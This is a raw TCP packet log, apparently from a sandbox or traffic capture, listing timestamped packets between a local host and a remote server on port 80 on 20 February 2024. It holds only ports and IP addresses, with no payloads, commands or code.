Feb 20, 2024 23:46:07.476366043 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.476454973 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.476495981 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.476581097 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.476880074 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.476957083 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.477046013 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.477569103 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.477627993 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.477782011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.478039026 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.478091955 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.478190899 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.478399038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.478451967 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.478511095 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.478557110 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.478626966 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.478888035 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.479038000 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.479146004 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.479362011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.479481936 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.479542017 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.479722977 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.479785919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.479834080 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.479969978 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480015993 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480082989 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480098009 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.480144024 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480190992 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.480221987 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480278015 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480333090 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.480374098 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480592012 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480639935 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.480657101 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480824947 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480914116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.480915070 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.481008053 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481049061 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.481133938 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481332064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481381893 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.481445074 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481497049 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481544971 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.481554031 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481673002 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481734037 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481787920 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.481873035 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481892109 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481929064 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.481947899 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.481987953 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482001066 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482040882 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482054949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482090950 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482139111 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482152939 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482166052 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482202053 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482206106 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482218981 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482259989 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482260942 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482274055 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482297897 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482311964 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482348919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482367992 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482393026 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482418060 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482429981 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482439995 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482441902 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482455015 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482460022 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482467890 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482482910 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482512951 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482518911 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482548952 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482563019 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482610941 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482625008 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482636929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482649088 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482662916 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482675076 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482705116 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482712030 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482736111 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482748032 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482764006 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482770920 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482812881 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482825994 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482846975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482858896 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.482954979 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482969999 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.482983112 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483011961 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483022928 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483033895 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483036995 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483050108 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483076096 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483099937 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483117104 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483129978 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483170986 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483175993 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483205080 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483206987 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483222008 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483253956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483264923 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483268023 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483279943 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483294964 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483304977 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483331919 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483334064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483349085 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483365059 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483395100 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483398914 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483421087 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483429909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483443975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483467102 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483481884 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483511925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483515024 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483526945 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483561039 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483582973 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483611107 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483623028 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483638048 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483649969 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483679056 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483691931 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483720064 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483747959 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483755112 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483767986 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483779907 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483814955 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483855009 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483897924 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.483907938 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483947992 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.483998060 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484004974 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484018087 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484041929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484055042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484066963 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484070063 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484096050 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484107971 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484121084 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484133005 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484160900 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484188080 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484196901 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484200954 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484214067 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484227896 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484241962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484260082 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484275103 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484304905 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484317064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484330893 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484335899 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484379053 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484386921 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484392881 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484432936 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484445095 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484458923 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484513044 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484538078 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484555006 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484579086 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484591961 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484601974 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484606981 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484622002 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484639883 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484659910 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484663963 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484697104 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484708071 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484733105 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484745979 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484759092 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484783888 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484798908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484813929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484828949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484872103 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484884977 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484890938 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484898090 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484910011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484922886 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484951019 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484951973 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.484972954 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.484985113 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.485029936 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.690053940 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690114975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690129042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690149069 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690201998 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.690264940 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.690265894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690279961 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690332890 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.690344095 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690399885 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690479040 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.690700054 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690778971 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690793037 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690820932 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.690834999 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.690870047 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.691459894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691474915 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691514969 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691541910 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.691673994 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691725016 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.691812992 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691860914 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691874981 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691899061 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691927910 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.691951036 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.691971064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.691984892 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692034960 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.692091942 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692106009 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692118883 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692140102 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692153931 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692164898 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.692189932 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.692215919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692277908 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.692392111 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692491055 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692503929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692517996 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.692549944 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.692580938 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.693151951 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693242073 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693336964 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693352938 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693375111 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.693440914 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.693715096 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693789959 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693804026 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693816900 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.693840027 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.693865061 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694025040 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694039106 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694104910 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694118977 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694155931 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694189072 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694219112 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694231987 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694277048 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694278002 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694293022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694351912 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694381952 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694538116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694551945 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694580078 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694582939 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694614887 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694695950 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694828033 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694840908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694880962 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.694890022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.694936991 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.695470095 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695482969 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695497036 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695512056 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695571899 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.695734978 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695777893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695792913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695806026 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695837021 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.695867062 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.695883036 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695934057 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695946932 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695960999 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.695997953 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696024895 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696064949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696079016 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696110010 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696131945 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696137905 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696181059 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696222067 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696268082 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696281910 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696295977 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696311951 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696368933 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696369886 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696391106 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696417093 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696435928 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696449041 CET	80	49719	5.101.153.86	192.168.2.5
